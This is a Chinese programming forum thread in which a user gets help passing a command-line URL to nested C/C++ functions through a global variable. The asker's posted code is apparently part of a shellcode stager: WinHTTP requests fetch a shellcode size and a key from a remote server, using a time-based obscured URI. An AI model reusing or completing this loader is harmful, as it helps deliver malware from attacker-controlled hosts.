其他函数模块如何调用主函数argv参数值?
本帖最后由 我叫学得会 于 2021-4-9 11:04 编辑源代码为:
而子函数 geturl1(); gethost();等都会用到这个httpget里的地址。
char httpget = "http://123-456.com/";
int main()
{
geturl1();
gethost();
return 0;
}
请问,主函数改为调用参数,而其他子函数都调用主函数输入进来的这个值去get页面等操作,有什么比较好的方案呢?
//char httpget = "http://123-456.com/"; //改为输入模式。
int main(int argc,char* argv[])
{
geturl1();
gethost();
return 0;
}
师傅们,这题不会啊,怎么没人帮帮呀{:10_269:} 本帖最后由 yuxijian2020 于 2021-4-12 09:17 编辑
void geturl1(char* url, int len);
void gethost(char* url, int len);
int main(int argc,char* argv[])
{
geturl1(argv, MAX_PATH);
gethost(argv, MAX_PATH);
return 0;
}传参不就完事了。。。。 yuxijian2020 发表于 2021-4-12 09:15
传参不就完事了。。。。
子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊? 我叫学得会 发表于 2021-4-12 10:00
子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?
你还嫌麻烦, 其他方法有啊你弄个全局变量参数传进来的时候赋值给全局变量{:10_277:} yuxijian2020 发表于 2021-4-12 10:02
你还嫌麻烦, 其他方法有啊你弄个全局变量参数传进来的时候赋值给全局变量
对啊,参数进来设置为全局变量,其他子涵数调用,师傅给个示范啊{:10_297:} 本帖最后由 yuxijian2020 于 2021-4-12 13:24 编辑
char* httpget;
int main(int argc, char** argv)
{
if(argc < 2)
return -1;
int len = strlen(argv); //获取参数字符串长度
httpget = (char*)malloc((len + 1) * sizeof(char)); //申请内存
if(!httpget) //申请失败退出程序
return -1;
memset(httpget, 0, len + 1); //初始化内存
strcpy(httpget, argv); //拷贝字符串
geturl1(); //执行操作
gethost();
free(httpget); //释放内存
return 0;
} 本帖最后由 我叫学得会 于 2021-4-12 14:42 编辑
yuxijian2020 发表于 2021-4-12 13:19
大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数 我叫学得会 发表于 2021-4-12 14:35
大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数
我这是正常的啊
#include <stdio.h>
#include <Windows.h>
int main(int argc, char** argv)
{
if (argc < 2)
return -1;
printf_s("输入的参数为: %s\n", argv);
system("pause");
return 0;
} yuxijian2020 发表于 2021-4-12 14:47
我这是正常的啊
std::string GenerateUri()
{
time_t myt = time(NULL);
int key = int(int(myt) / 100);
std::string u = string(obscure) + std::to_string(key);
return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
string res = Request(httpget,"my/get_size");
if (res=="")return false;
shellcode_size = std::atoi(res.c_str());
shellcode = (char*)malloc(shellcode_size);
if (shellcode != 0) {
return true;
}
else {
return false;
}
}
std::string GetKey()
{
if (GetShellCodeSize() == false) {
return "";
}
string res = Request(httpget,GenerateUri());
return res;
}
这里的子函数没有获取上值 本帖最后由 yuxijian2020 于 2021-4-12 15:27 编辑
我叫学得会 发表于 2021-4-12 15:20
这里的子函数没有获取上值
那你试试不要申请内存,直接赋值
/*int len = strlen(argv);
url = (char*)malloc(len + 1);
if(!url)
return -1;
memset(httpget, 0, len + 1);
strcpy(httpget, argv);*/
httpget = argv; 本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑
我看了半天你这不是c++么
那多简单啊 直接用string啊
#include <iostream>
#include <string>
using namespace std;
string url;
int main(int argc, char** argv)
{
if (argc < 2)
return -1;
url.assign(argv);
printf_s("输入的参数为: %s\n", argv);
return 0;
} yuxijian2020 发表于 2021-4-12 15:36
我看了半天你这不是c++么
那多简单啊 直接用string啊
还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧? 我叫学得会 发表于 2021-4-12 16:52
还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?
你是怎么调用的..... 我感觉你调用的有问题呢.... 本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑
yuxijian2020 发表于 2021-4-12 16:55
你是怎么调用的..... 我感觉你调用的有问题呢....
std::string Request(std::string target, std::string path) { //发包调用 target 就是我们获得主函数的参数
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
BOOLbResults = FALSE;
BOOLuseSSL = FALSE;
INTERNET_PORT port;
HINTERNEThSession = NULL,
hConnect = NULL,
hRequest = NULL;
std::string reqResult;
EdUrlParser* url = EdUrlParser::parseUrl(target);
std::string p = url->port;
if (p.length() > 1) {
//std::cout <<p <<" "<<p.substr(2) << std::endl;
port = std::atoi(p.c_str());
}
if (url->scheme == "https") {
useSSL = TRUE;
if (url->port == "") {
port = 443;
}
}
else {
if (url->port == "")
port = 80;
}
std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
std::string strBasePath = url->path;
char last = strBasePath.back();
if (strcmp(&last,"/")) {
strBasePath += "/";
}
strBasePath += path;
std::cout << "request path:" << strBasePath <<" port:"<< port<<std::endl;
std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
wchar_t* host = (wchar_t*)h.c_str();
wchar_t* object = (wchar_t*)basePath.c_str();
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, host,
port, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
useSSL ? WINHTTP_FLAG_SECURE : 0);
....Request模块
下面是调用:
std::string GenerateUri()
{
time_t myt = time(NULL);
int key = int(int(myt) / 100);
std::string u = string(obscure) + std::to_string(key);
return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
string res = Request(target,"my/get_size"); //函数调用 int main 参数里的值
if (res=="")return false;
shellcode_size = std::atoi(res.c_str());
shellcode = (char*)malloc(shellcode_size);
if (shellcode != 0) {
return true;
}
else {
return false;
}
}
std::string GetKey()
{
if (GetShellCodeSize() == false) {
return "";
}
string res = Request(target,GenerateUri()); //获取网页密钥,发包int main 的值
return res;
}
string target; //存放 参数 就是请求的url值
int main(int argc,char* argv[]) //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
{
if (argc < 2)
{
return -1;
}
target.assign(argv);
Invoke(); //把琐碎一些列执行模块子函数都封装在这里了
return 0;
} {:10_245:}你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声明一下全局变量)还有你把全局变量名改一下 全局变量和形参名相同了很容易弄混淆
而且main函数里我也没看见你调用上面的函数啊= = yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声 ...
文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看
我叫学得会 发表于 2021-4-12 17:31
文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声 ...
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了 我叫学得会 发表于 2021-4-12 17:36
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
那你就把
string target; //存放 参数 就是请求的url值
这一句放到Invoke()函数的定义前面
页:
[1]
2